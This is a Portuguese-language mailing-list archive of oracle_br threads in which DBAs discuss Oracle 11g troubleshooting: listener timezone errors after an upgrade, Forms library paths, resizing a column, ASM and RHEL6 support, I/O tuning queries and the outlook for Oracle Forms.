No lugar de TS, leia-se TZ (time zone). 2012/1/16 Ivan Ricardo Schuster ivanr...@gmail.com Olha, podem ser vários os motivos para o TS estar diferente, dá uma olhada no metalink, no seguinte documento: *Timestamps time zones - Frequently Asked Questions [ID 340512.1]* * * Em último caso, mas último mesmo, defina no listener. Mas você deve estar ciente de que a cada ajuste de TS, tem que mudar lá também. Ah, e alterando estas configurações, muito provavelmente seu EM vai parar de funcionar, vai ter que reconfigurar também. Abraço 2012/1/16 JLSilva jljlsi...@yahoo.com.br Olá, Schuster. Verifiquei agora e não há parâmetro envs no arquivo listener.ora. Seria o caso de configurar isto? Não conheço essa configuração no listener.ora. (vou googlear) On Jan 16, 2012, at 15:02 , Ivan Ricardo Schuster wrote: Olá Verifique se nas configurações do seu listener define algum timezone diferente do padrão. Algo como: ENVS='TZ=???' 2012/1/16 JLSilva jljlsi...@yahoo.com.br Olá, Rodrigo. Então.. este problema surgiu ao término do upgrade dos softwares oracle (upgrade do Grid e do Database do 11.2.0.2.0 para o 11.2.0.3.0). Fizemos restart e não resolveu. Penso que seja algum bug do listener, pois se reinicio a instance conectando direto (connect / as sysdba), o horário do sysdate fica correto. On Jan 16, 2012, at 12:58 , Rodrigo Mufalani wrote: Bom dia, Já passei um problema semelhante no 10gr2 quando o Adm mudava a região do S.O para ajustes do horário de verão. Resolvia reiniciando o CRS. Atenciosamente, Rodrigo Mufalani mailto:rodr...@mufalani.com.br rodr...@mufalani.com.br http://www.mufalani.com.br/ www.mufalani.com.br twitter: @mufalani De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br ] Em nome de JLSilva Enviada em: segunda-feira, 16 de janeiro de 2012 12:52 Para: oracle_br@yahoogrupos.com.br Assunto: [oracle_br] Problemas com horário após upgrade para 11.2.0.3 utilizando grid Senhores, bom dia. Ambiente: Oracle11gR2 11.2.0.3.0 com Grid Infrastructure - RAC 2 nós. Ao iniciar a instance utilizando srvctl, o horário retornado pelo sysdate fica incorreto. No alert.log, as mensagens são registradas com 2 horas adiantadas. Quando conecto via listener, vejo o horário adiantado em 2 horas. Quando conecto localmente, sem usar listener, vejo o horário correto (igual ao do sistema operacional). Aparentemente, ele deixa de considerar o fuso-horário do sistema operacional, ou algo assim. Baixei as instances e iniciei manualmente, utilizando sqlplus com conexão local (connect / as sysba) e daí as conexões via listener passaram a apresentar o horário correto. Estou abrindo um chamado no metalink. Mas, se alguém já passou por esta situação e conseguiu identificar a causa e tem uma solução, ficaria muito agradecido. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux [As partes desta mensagem que não continham texto foram removidas] -- Atenção
Re: [oracle_br] Re: Bibliotecas em Oracle Fusion Middleware 11g
Tathyanna, Você compilou suas bibliotecas na versão 11g, na mesma plataforma do seu servidor? 2011/12/21 Tathyanna Pelegrinni tathya...@gmail.com: Entao, gente! No meu arquivo default.env está assim: # Search path for Forms applications (.fmx files, PL/SQL libraries) # FORMS_PATH=C:\Oracle\Middleware\Oracle_FRHome1\forms;C:\Oracle\Middleware\asinst_1\FormsComponent\forms # Na variavel forms_path do meu regedit tb está especificado estes mesmos diretorios. O que fiz entao? Joguei minhas bibliotecas para C:\Oracle\Middleware\asinst_1\FormsComponent\forms e, no adiantou!! :(( (OBS. Fiz desta maneira para ver se ia funcionar. Se sim, criaria o diretorio na raiz e alteraria os registros...) Será q tem algum outro lugar que se deva alterar? Estou lendo o manual ( http://docs.oracle.com/cd/E24269_01/doc.11120/e24477.pdf) que acabei de pegar na net para ver o que deixei passar aqui. Poxa vida... instalei tudo direitinho... weblogic, forms etc... está rodando pela propria ferramenta qdo a tela nao necessita de biblioteca alguma e... Só falta resolver o problema destas bibliotecas!! :-(( Torçam aew! rs... []s 2011/12/20 José Laurindo jlchia...@yahoo.com.br ** Eu ainda não montei o meu ambiente de testes com Forms 11g (alguma coisa ** sempre ** tem que perecer no meio do monte de trabalho do dia-a-dia), mas na documentação referente que consultei (manual Oracle® Fusion Middleware Forms Services Deployment Guide 11g Release 1 (11.1.1) cap. 4 - Configuring and Managing Forms Services) ele diz que é a FORMS_PATH, mas indica que vc por princípio usa o Fusion Middleware Control para isto Uma coisa que Pode dar muito enrosco é que vc pode ter variáveis definidas no registry, no default.env , nos arqs .cfg ... Pode ter sobreposição ... Dá uma lida neste capítulo e veja se ele te ajuda... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Tathyanna Pelegrinni tathyanna@... escreveu PessoALL, Alguem sabe me dizer em que variavel do regedit declaro o diretorio de bibliotecas que utilizo, no Oracle Fusion Middleware 11g? Ou entao... em que diretorio jogo os arquivos .pll e .plx? Ou um ou outro. Qq q faça rodar... Qualquer tela q nao utilize biblioteca, eu consigo rodar pela propria aplicacao. Agora, qdo há biblioteca attachada, dá a mensagem: FRM-40039 Cannot attach a library... Nao descubro de jeito nenhum o q devo fazer para que funcione. Já tentei especificar o diretorio em formsweb.cfg e tudo. Nada funciona! Alguem pode me ajudar? Obrigada. [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] RES: Socorroooo
Edivaldo, Você pode fazer assim: alter table xxx add yyy1 number(6); update table xxx set yyy1=yyy; update table xxx set yyy=null; commit; alter table teste modify yyy number(6); update table xxx set yyy=yyy1; commit; alter table xxx drop column yyy1; 2011/11/30 Brito - Informatica br...@ober.com.br Infelizmente o programador estava com permissão, mas já estamos cuidando disto. Não conseguimos voltar para o tamanho original. Não existe valor no campo que ultrapasse o valor original. Edivaldo Brito De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Milton Bastos Henriquis Junior Enviada em: quarta-feira, 30 de novembro de 2011 16:44 Para: oracle_br@yahoogrupos.com.br Assunto: [oracle_br] RES: Socorr O programador tem permissão (Grant) pra dar alter table aí na base de dados? Vocês não tem um DBA para cuidar disto? Se não tiver DBA... o próprio programador que aumentou o campo não consegue alterar novamente pro tamanho original? Existe algum valor nessa tabela que ultrapasse as 6 posições? Se tiver... daí não tem como mesmo voltar a ficar com 6. -- Milton Bastos http://miltonbastos.com De: oracle_br@yahoogrupos.com.brmailto:oracle_br%40yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.brmailto:oracle_br%40yahoogrupos.com.br] Em nome de Brito - Informatica Enviada em: quarta-feira, 30 de novembro de 2011 16:44 Para: oracle_br@yahoogrupos.com.brmailto:oracle_br%40yahoogrupos.com.br Assunto: [oracle_br] Socorr Boa tarde. O programador fez uma mercadoria aqui, alterou o tamanho de um campo de integer(6) para integer(12). Existe uma forma de desfazer isso e voltar com integer(6)??? Grato. Edivaldo Brito. [As partes desta mensagem que não continham texto foram removidas] Clique aquihttps://www.mailcontrol.com/sr/wQw0zmjPoHdJTZGyOCrrhg== para reportar este e-mail como SPAM. This message has been scanned for malware by Websense. www.websense.com [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] RES: Socorroooo
E muito cuidado com as chaves... 2011/11/30 Ivan Ricardo Schuster ivanr...@gmail.com Edivaldo, Você pode fazer assim: alter table xxx add yyy1 number(6); update table xxx set yyy1=yyy; update table xxx set yyy=null; commit; alter table teste modify yyy number(6); update table xxx set yyy=yyy1; commit; alter table xxx drop column yyy1; 2011/11/30 Brito - Informatica br...@ober.com.br Infelizmente o programador estava com permissão, mas já estamos cuidando disto. Não conseguimos voltar para o tamanho original. Não existe valor no campo que ultrapasse o valor original. Edivaldo Brito De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de Milton Bastos Henriquis Junior Enviada em: quarta-feira, 30 de novembro de 2011 16:44 Para: oracle_br@yahoogrupos.com.br Assunto: [oracle_br] RES: Socorr O programador tem permissão (Grant) pra dar alter table aí na base de dados? Vocês não tem um DBA para cuidar disto? Se não tiver DBA... o próprio programador que aumentou o campo não consegue alterar novamente pro tamanho original? Existe algum valor nessa tabela que ultrapasse as 6 posições? Se tiver... daí não tem como mesmo voltar a ficar com 6. -- Milton Bastos http://miltonbastos.com De: oracle_br@yahoogrupos.com.brmailto:oracle_br%40yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.brmailto: oracle_br%40yahoogrupos.com.br] Em nome de Brito - Informatica Enviada em: quarta-feira, 30 de novembro de 2011 16:44 Para: oracle_br@yahoogrupos.com.brmailto:oracle_br%40yahoogrupos.com.br Assunto: [oracle_br] Socorr Boa tarde. O programador fez uma mercadoria aqui, alterou o tamanho de um campo de integer(6) para integer(12). Existe uma forma de desfazer isso e voltar com integer(6)??? Grato. Edivaldo Brito. [As partes desta mensagem que não continham texto foram removidas] Clique aquihttps://www.mailcontrol.com/sr/wQw0zmjPoHdJTZGyOCrrhg== para reportar este e-mail como SPAM. This message has been scanned for malware by Websense. www.websense.com [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Compartilhamento de binários
Logg, Com relação ao compartilhamento ou não dos binários do ASM, acredito que estejas falando de versão anterior a 11gR2. Não há consenso e duvido muito que a Oracle tenha colocado isto em alguma documentação oficial. Você deve é pesar os prós e contras de cada modelo e definir qual deles se encaixa melhor ao seu ambiente e sua estratégia de manutenção. Já no 11gR2 a história é diferente, o ASM vem junto com o clusterware e, aí sim, a regra é cada nó com o seu binário. Abraço 2011/8/25 l...@terra.com.br Senhores, Sabemos que é um ponto de falha gravíssimo compartilharmos os binários para ASM e ou mais de uma instance. ISto é um ponto de falha muito grande para aplicação de patch etc... MAs não achei um doc id ou algum documento oficial da ORACLE que relata isto. preciso me respaudar em um doc deste para bater no meu chefe. alguém tem algum docid que diz sobre isto? abs logg -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Re: Self-Study Oracle
Welvis, Se este Self-study tiver o mesmo conteúdo dos cursos presenciais oficiais, na minha opinião, não substitui um bom livro. No livro você terá o conteúdo muito mais aprofundado, e isto é essencial para as provas de certificação. Eu diria que o curso é um start para o estudo mais aprofundado. Outra desvantagem do Self-study é que não conta como curso oficial para receber seu certificado OCP. Abraço 2011/7/20 José Laurindo jlchia...@yahoo.com.br: Da última vez que vi o material de self-study (do 10g, na ocasião) era bem razoável o material, mas nada especial, é um aprofundamento dos manuais (com uma didática melhor, exemplos, e alguma info extra, claro) , mas era mais do mesmo ... IMHO, se é vc que vai bancar, eu pegaria essa grana e investiria sem pensar nos bons livros que foram recomendados em threads anteriores aqui no fórum - já se a Empresa é que vai bancar o investimento do self-study, aí até pode valer a pena (pra empresa não é um valor assim alto), E ainda tem a vantagem do mesmo material poder ser usado pra treinar mais de uma pessoa, em oportunidades diferentes []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Welvis Moretto welvis_douglas@... escreveu Olá pessoal, tudo bem? Estou querendo comprar um Self-Study, o material é bom compensa? Ou é melhor compara um livro sobre o assunto? Abraço! att, Welvis Douglas [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
[oracle_br] GUOB Tech Day
Amigos, Gostaria de parabenizar a todos os que fizeram acontecer mais este fantástico evento que foi o GUOB Tech Day 2011. Eventos de troca de experiências como este são extremamente importantes para o desenvolvimento dos profissionais no Brasil e devem ser incentivados. As apresentações foram excelentes, a organização foi impecável. Abraço -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: Certificação
Bem, eu não teria tanta certeza... O suporte ao OCFS2 e ao ASMLIB no RHEL6 só é possível caso o cliente tenha contrato de suporte Oracle Linux e utilize o kernel do OEL6: Red Hat Enterprise Linux 6 (RHEL6) For RHEL6, Oracle will only provide ASMLib software and updates when configured with a kernel distributed by Oracle. Oracle will not provide ASMLib packages for kernels distributed by Red Hat as part of RHEL6. ASMLib updates will be delivered via Unbreakable Linux Network(ULN) which is available to customers with Oracle Linux support. ULN works with both Oracle Linux or Red Hat Linux installations, but ASMlib usage will require replacing any Red Hat kernel with a kernel provided by Oracle. Note ID 1089399.1 Red Hat Enterprise Linux 6 (RHEL6) Starting with RHEL6, Oracle will provide OCFS2 software via ULN only. ULN requires an Oracle Linux support subscription, even for those customers using OCFS2 just to store database files. Note ID 1253272.1 Se a certificação seguir esta mesma linha, vão começar a exigir kernel OEL, e pagar suporte à RedHat e a Oracle fica inviável. 2011/6/14 José Laurindo jlchia...@yahoo.com.br: Que vai ser homologado ninguém duvida, MAS afaik absolutamente Não Há um cronograma oficial pra isso ainda : eu ** acho ** que muito provavelmente eles devem 'pegar' os bugzinhos que forem encontrados no RHEL 6 e os corrigir num próximo PSU/CPU trimestral (como estamos meio em cima da hora pro CPU/PSU July/2011 chutaria talvez pro Oct/2011) , e imho isso é MUITO tempo pra ficar sem suporte, mesmo em desenv.. Minha Recomendação é uma só, migrar pro RHEL 5.x mais recente, que já está totalmente Homologado, e num futuro não muito distante vc faz o up do SO... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Leonardo Rezende lrezende77@... escreveu Pessoal, Estarei migrando o nosso ambiente de desenvolvimento, atualmente em windows 10g, para um banco novinho 11gR2 em Linux. Penso em colocar no RHEL 6(apesar de não certificado atualmente) já que é um banco de desenvolvimento. Porém esse pensamento está baseado em um outro: o de que a Oracle vai homologar o RHEL 6 em breve. Esse pensamento está correto ou seria bom partir para o OEL, que deve sempre ser certificado? Abraço, LRezende [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: Certificação
Rosivaldo, Não é escopo do tópico a discussão sobre OCFS e ASMLIB, só quis trazer a informação para embasar minha dúvida com relação a um dia o RHEL6 ser homologado para Oracle Database. Mas sobre o ASMLIB, concordo com você, também não costumo usar. Att 2011/6/15 Rosivaldo Ramalho rosiva...@gmail.com: Na verdade você consegue usar o OCFS 1.4 com o rhel, não vai conseguir o mais novo (1.6), esse só vem no uek. O ASMLIB eu particularmente não vejo problema, pois é possível a utilização do ASM sem a lib, sem falar que pode atualizar o kernel do S.O. a vontade sem precisar toda vez atualizar a ASMLIB também. Atenciosamente -- Rosivaldo Azevedo Ramalho rosiva...@gmail.com Consultor Oracle Database Fusion Middleware http://about.me/rosivaldo Em 15/06/2011 09:41, Ivan Ricardo Schuster ivanr...@gmail.com escreveu: [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Problemas com System I/O (Estou Desesperado)
remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: Problemas com System I/O (Estou Desesperado)
)+ (new.db_block_gets-old.db_block_gets)) 0 and new.name = old.name and new.snap_id = sn.snap_id and old.snap_id = sn.snap_id-1 order by mydate; ÍNDICE DE ACERTOS DE CACHE PARA OBJETOS DO DICIONÁRIO DE DADOS == (hit ratio deve estar próximo a 1 - apesar de ser inviável para alguns objetos, como sequences) select parameter Parametro, gets, Getmisses , getmisses/(gets+getmisses)*100 Taxa de erro, (1-(sum(getmisses)/ (sum(gets)+sum(getmisses*100 Taxa de acerto from v$rowcache where gets+getmisses 0 group by parameter, gets, getmisses ; ÍNDICE DE ACERTOS NO CACHE POR SESSÃO = (hit ratio deve estar próximo a 1 - apesar de 1 ser improvável) select Username, OSUSER, Consistent_Gets, Block_Gets, Physical_Reads, 100*( Consistent_Gets + Block_Gets - Physical_Reads)/ ( Consistent_Gets + Block_Gets ) Hit Ratio % from V$SESSION,V$SESS_IO where V$SESSION.SID = V$SESS_IO.SID and ( Consistent_Gets + Block_Gets )0 and username is not null order by Username,Hit Ratio %; ÍNDICES DE CONTENÇÃO DE LATCH DE REDO = (quanto mais abaixo de 1 os ratios, melhor) SET feedback OFF COLUMN name FORMAT a15 COLUMN gets FORMAT COLUMN misses FORMAT 99 COLUMN immediate_gets FORMAT HEADING 'IMM_GETS' COLUMN immediate_misses FORMAT HEADING 'IMM_MISSES' PROMPT Examining Contention for Redo Log Buffer Latches... PROMPT SELECT name, gets, misses, immediate_gets, immediate_misses, Decode(gets,0,0,misses/gets*100) ratio1, Decode(immediate_gets+immediate_misses,0,0, immediate_misses/(immediate_gets+immediate_misses)*100) ratio2 FROM v$latch WHERE name IN ('redo allocation', 'redo copy'); ORDENAÇÕES EM MEMÓRIA/DISCO === (quanto mais memória e menos disco, melhor) SET HEADING OFF SET FEEDBACK OFF COLUMN name FORMAT a30 COLUMN value FORMAT 9990 SELECT name, value FROM v$sysstat WHERE name IN ('sorts (memory)', 'sorts (disk)'); [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: Problemas com System I/O (Estou Desesperado)
Antes de indisponibilizar o ambiente, verifique como está a utilização: grep Swap /proc/meminfo grep Total /proc/meminfo 2011/6/8 raulcsneto raulcsn...@yahoo.com: Ivan, Com o alerta que o colega JL deu sobre a SWAP, dei uma pesquisada e parece mesmo que faz muito sentido, hoje a noite irei parar o banco para fazer as alterações de memória que vocês me recomendaram e amanhã estarei monitorando o comportamento do banco e espero poder postar aqui um resultado positivo, quanto ao RAID 0 só utilizo para REDO e ARCHIVES que ja são redundancias, dados e indices estão com RAID 10, vou dar uma olhada nos links que voce me passou, muito obrigado pelas dicas!!! Abraço Raul --- Em oracle_br@yahoogrupos.com.br, Ivan Ricardo Schuster ivanrs79@... escreveu Raul, Primeiramente: Não abra mão de segurança para compensar o problema de I/O. RAID 0 não é opção para bancos de dados! Sim, swap é uma grande suspeita, o problema de IO parece não ser somente System, mas geral. Considere as recomendações dos colegas para ajustar os parametros de memória, em geral recomendo a configuração de valores fixos de memória, ou ao menos definir valores mínimos para cada item. Acredito que este Linux seja 64 bits, certo? De qualquer forma, você pode considerar a utilização de hugepages em seu servidor: http://ivanschuster.wordpress.com/category/gerenciamento-de-memoria/ Recomendo ainda que você verifique as dicas em: http://www.puschitz.com/TuningLinuxForOracle.shtml Principalmente no que se refere a ativar Asynchronous I/O, caso o ajuste de memória não resolva. Sobre Patch Set Updates (PSU), são pacotes de patches liberados pela Oracle trimestralmente e que corrigem bugs de segurança no seu banco de dados. Apesar de não serem patches especificos de desempenho, podem corrigir algum problema relacionado. 2011/6/8 Raul Francisco Costa F. de Andrade, DBA raulfdba@...: Eu também apostaria em diminuir um pouco a quantidade de memória que está sendo dedicada ao Oracle. A questão do SO estar fazendo SWAP é pertinente... Raul --- *Raul Francisco da Costa Ferreira de Andrade* *DBA - OCP - Oracle Certified Professional* *COBIT Foundation 4.1 Celular:(41)8855-8874 Claro *email: raulfdba@... Skype: raul.andrade msn:raulandrade@... www.clickdba.com *A adversidade leva alguns a serem vencidos e outros a baterem recordes. * William Arthur Ward Em 8 de junho de 2011 10:46, raulcsneto raulcsneto@... escreveu: Bom dia Gerson, Até semana passada eu tinha dois volumes separados de RAID 10 com 4 discos de 143Gb 15.000RPM um para dados e outro para índices (o problema já ocorria nesta ocasião) então após ler algumas coisas e conversar com um amigo, que já fez isso e obteve sucesso, decidi criar um volume maior, juntando os 8 discos, assim eu teria o dobro de discos para a controladora fazer Striping no momento de leitura/gravação talvez, melhorando o problema de I/O, porém parece que tudo permaneceu como estava (ou seja acho que o problema não era disco) --- Em oracle_br@yahoogrupos.com.br, Gerson Junior gerson.vasconcelos@ escreveu Pelo que vi, dados e indices estão no mesmo range de discos, é isso? Não seria viável separar? Gerson S. de Vasconcelos Júnior OCA DBA - Oracle Certified Associate Fone: (81) 9816-0236 Msn: gerson.vasconcelos@ Skype: gersonvjunior http://www.diaadiaoracle.com.br/ Em 8 de junho de 2011 09:06, raulcsneto raulcsneto@ escreveu: Bom dia Tenho um banco de 230Gb rodando no 10G estou tendo muitos problemas de System I/O, será que alguem poderia me ajudar a verificar a causa deste problema, segue abaixo um resumo do meu cenário e das ações que já tomei: O Oracle 10G roda em um servidor Redhat 5 com dois processadores Quad-core Xeon 2.66Ghz, 20Gb de memória, dos quais 18Gb estão alocadas para o oracle. Possuo um Disco Virtual com 8 discos SAS de 15.000Rpm e 143Gb em RAID 10, totalizando 544Gb para Dados e Indices; Possuo um Disco Virtual com 2 discos SAS de 15.000Rpm e 143Gb em RAID 0, totalizando 272Gb para Redo; Possuo um Disco Virtual com 2 discos SAS de 15.000Rpm e 143Gb em RAID 0, totalizando 272Gb para Archives; Estes tres volumes estão em uma controladora PERC6/E todos segmentados em Stripes de 512k; Possuo Tablespaces separadas para Dados e Indices criadas com alocação uniforme de 512k com datafiles de 2Gb; Recentemente movi todas as tabelas e indices para tablespaces novas para eliminar a fragmentação; Caso alguem conheça algo que eu possa fazer para tentar descobrir onde está o problema, seria de grande valor par mim, pois já esgotei todas as minhas possibilidades, e a várias noites já não sei o que é dormir direito
Re: [oracle_br] Re: FORMS/REPORTS 10G
Fernando, Pra mim ficou bem claro o que a Oracle quis dizer com proteção do investimento. Mas daí a esperar novidades na ferramenta, difícil. 2011/5/17 Fernando Nati fernandon...@gmail.com: Ivan, Na verdade quando a Oracle diz Proteção do investimento, se refere a sistemas já existentes em forms/reports nas versões 9i/10G que poderão ser migrados para a 11G, de modo a dar continuidade a ferramenta. No Brasil, temos inúmeros sistemas legados em muitas empresas, de diversos segmentos e em várias versões. Para a empresa que gastou milhares de R$ em desenvolver o seu ERP que até hoje funciona, vale a pena gastar para migrar pro forms11G pois o weblogic (que foi comprado da BEA) é muito mais robusto e escalonável que o antigo OAS/oc4j. Se alguém precisar de uma ajuda estamos aí para o que der e vier. Fernando Nati ferna...@vortexsistemas.com.br 2011/5/16 Ivan Ricardo Schuster ivanr...@gmail.com Deixei de acreditar no futuro do Oracle Forms quando li este documento: Oracle Weblogic Feature Matrix: http://www.oracle.com/us/products/middleware/application-server/wls-featurematrix-ds-069041.pdf Nele a Oracle cita os benefícios que cada feature hospedada pelo Weblogic oferece para seus usuários. Quando chega no Forms e Reports, o benefício é Proteção do investimento! Grande benefício! Para fornecer Forms/Reports para o usuário preciso comprar o Weblogic Suite, que é o nível mais caro do Weblogic para ter como benefício a proteção do investimento. Balela! Uma ferramenta da Oracle que parece ter vindo para substituir o Forms é o APEX, que permite que o desenvolvedor implemente muita coisa sem colocar a mão no código. 2011/5/16 Christian Cedrid christianced...@gmail.com: Escutei a muitos anos atrás que o Cobol também ia ser descontinuado.. abs Dinassours Em 16 de maio de 2011 14:12, Diogenes Gmail diogenes...@gmail.com escreveu: Citando a frase de nosso amigo! “vou iniciar o desenvolvimento de aplicativos utilizando ferramentas 10G.” Manutenção ok? Porém, não acredito que compense investir em novos aplicativos em uma tecnologia que sim, SERÁ descontinuada! De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em nome de José Laurindo Enviada em: segunda-feira, 16 de maio de 2011 10:45 Para: oracle_br@yahoogrupos.com.br Assunto: [oracle_br] Re: FORMS/REPORTS 10G Pmfji, mas cabem algumas considerações : absolutamente, completamente, NÃO HÁ uma data de descontinuidade/aposentadoria do Forms/Reports, nem previsão disso acontecer - ao contrário, na página oficial dele em http://www.oracle.com/technetwork/developer-tools/forms/overview/index.html a Oracle reafirma o compromisso dela em manter o dito cujo, e realmente há pouco saiu inclusive a versão 11 mais atual dele E na mesma página é lembrado também que a própria Oracle usa esses caras Pesadamente nos aplicativos dela (tal como o Oracle E-Business Suite) , então medo de ficar sem a tecnologia acho que não se deve ter... O que existe SIM é que o mercado não tem aceito bem as novas implementações web-only do Forms , pelas causas abaixo citadas principalmente, então cada vez mais diminuem os sites de suporte mantidos por usuários, diminuem a qtdade de grupos de usuários, de livros de apoio, enfim, de referências e Suporte fora da Oracle, e isso Tem que ser levado em conta - ao cabo, SE os custos maiores do Forms web são absorvíveis pra vc (digamos, vc já tem um Contrato all-include com a Oracle), e/ou vc hoje já tem uma equipe experiente em Forms/Reports e/ou tem um volume grande em legado que não cabe migração e/ou não tem no momento como treinar / fazer o upgrade dos seus recursos, ENTÃO vc pode investir tranquilo no Forms/Reports, MAS se todas ou quase todas as causas/alternativas anteriores são falsas, AÍ SIM vc pode avaliar sair do Forms/reports, mas Não Obrigatoriamente indo pra Java : neguinho sempre se esquece mas o custo de implementação, a curva de aprendizado pra quem sai do Forms e vai pro Java não é pequena, NEM DE LONGE : nos releases mais recentes os complementos do JDeveloper deram uma diminuída nessa curva mas Com Certeza ainda não está nem perto da facilidade que era o Forms... Uma alternativa que está crescendo pra quem tem que sair do Forms/Reports mas não consegue encarar a curva de aprendizado do Java é o Oracle Application Express (APEX) , pense nele também se for o caso.. As principais causas de rejeição ao Forms web são : a. custo maior : ao contrário do modo client/server, o Forms em web EXIGE o licenciamento de um web server, que tem um Custo e não é baixo b. exigência maior de hardware/infra-estrutura : por causa do modo como foi desenvolvida a arquitetura (ie, processamento feito externamente e máquina cliente só recebendo o resultado, alterações trafegando entre cliente/web server/database, etc) um 